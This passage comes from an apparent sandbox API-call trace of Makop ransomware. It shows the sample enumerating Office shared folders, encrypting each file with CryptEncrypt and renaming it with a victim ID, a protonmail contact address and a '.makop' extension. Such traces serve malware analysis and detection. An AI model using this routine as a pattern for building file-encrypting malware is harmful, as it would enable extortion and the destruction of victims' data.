Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0084.886] CloseHandle (hObject=0xf0) returned 1 [0084.886] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0084.886] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0084.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0084.887] GetProcessHeap () returned 0x48a0000 [0084.887] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0084.887] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0084.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0084.888] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0084.926] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0084.926] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0084.926] GetProcessHeap () returned 0x48a0000 [0084.926] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0084.926] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0084.926] CryptDestroyKey (hKey=0x48c7128) returned 1 [0084.926] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0084.926] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0084.926] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0084.927] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0084.927] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0084.927] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0084.927] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0084.927] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0084.927] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.927] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2b0b7, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2b0b7, lpOverlapped=0x0) returned 1 [0084.931] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b0c0, dwBufLen=0x2b0c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b0c0) returned 1 [0084.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.932] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2b0c0, lpOverlapped=0x0) returned 1 [0084.934] CryptDestroyKey (hKey=0x48c7128) returned 1 [0084.934] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2b194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.934] SetEndOfFile (hFile=0xf0) returned 1 [0084.944] GetProcessHeap () returned 0x48a0000 [0084.944] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0084.944] GetProcessHeap () returned 0x48a0000 [0084.944] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0084.944] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0084.944] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0084.945] CloseHandle (hObject=0xf0) returned 1 [0084.945] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0084.945] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0084.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0084.946] GetProcessHeap () returned 0x48a0000 [0084.946] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0084.946] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0084.946] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0084.946] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0084.987] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0084.987] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0084.987] GetProcessHeap () returned 0x48a0000 [0084.987] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0084.987] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0084.987] CryptDestroyKey (hKey=0x48c7128) returned 1 [0084.987] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0084.987] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0084.987] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0084.988] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0084.988] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0084.988] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0084.988] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0084.988] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0084.988] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.988] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1de8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1de8, lpOverlapped=0x0) returned 1 [0085.034] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1df0, dwBufLen=0x1df0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1df0) returned 1 [0085.034] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.034] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1df0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1df0, lpOverlapped=0x0) returned 1 [0085.034] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.034] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.034] SetEndOfFile (hFile=0xf0) returned 1 [0085.041] GetProcessHeap () returned 0x48a0000 [0085.041] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0085.041] GetProcessHeap () returned 0x48a0000 [0085.041] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.041] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0085.041] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.042] CloseHandle (hObject=0xf0) returned 1 [0085.043] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0085.043] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0085.043] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0085.043] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO") returned 51 [0085.043] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*") returned 55 [0085.043] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0085.086] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.086] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0085.086] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0085.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.087] GetProcessHeap () returned 0x48a0000 [0085.087] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.087] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.087] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.087] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.087] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.087] GetProcessHeap () returned 0x48a0000 [0085.087] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0085.087] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0085.087] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.088] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0085.145] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.145] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.145] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.145] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.145] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.145] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.145] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.146] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.146] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7980, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7980, lpOverlapped=0x0) returned 1 [0085.147] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7980, dwBufLen=0x7980 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7980) returned 1 [0085.148] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.148] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7980, lpOverlapped=0x0) returned 1 [0085.148] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.148] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.148] SetEndOfFile (hFile=0xf0) returned 1 [0085.155] GetProcessHeap () returned 0x48a0000 [0085.155] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0085.155] GetProcessHeap () returned 0x48a0000 [0085.155] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.155] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0085.155] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.156] CloseHandle (hObject=0xf0) returned 1 [0085.156] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0085.156] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0085.156] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0085.157] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters") returned 54 [0085.157] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*") returned 58 [0085.157] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0085.163] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.163] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, 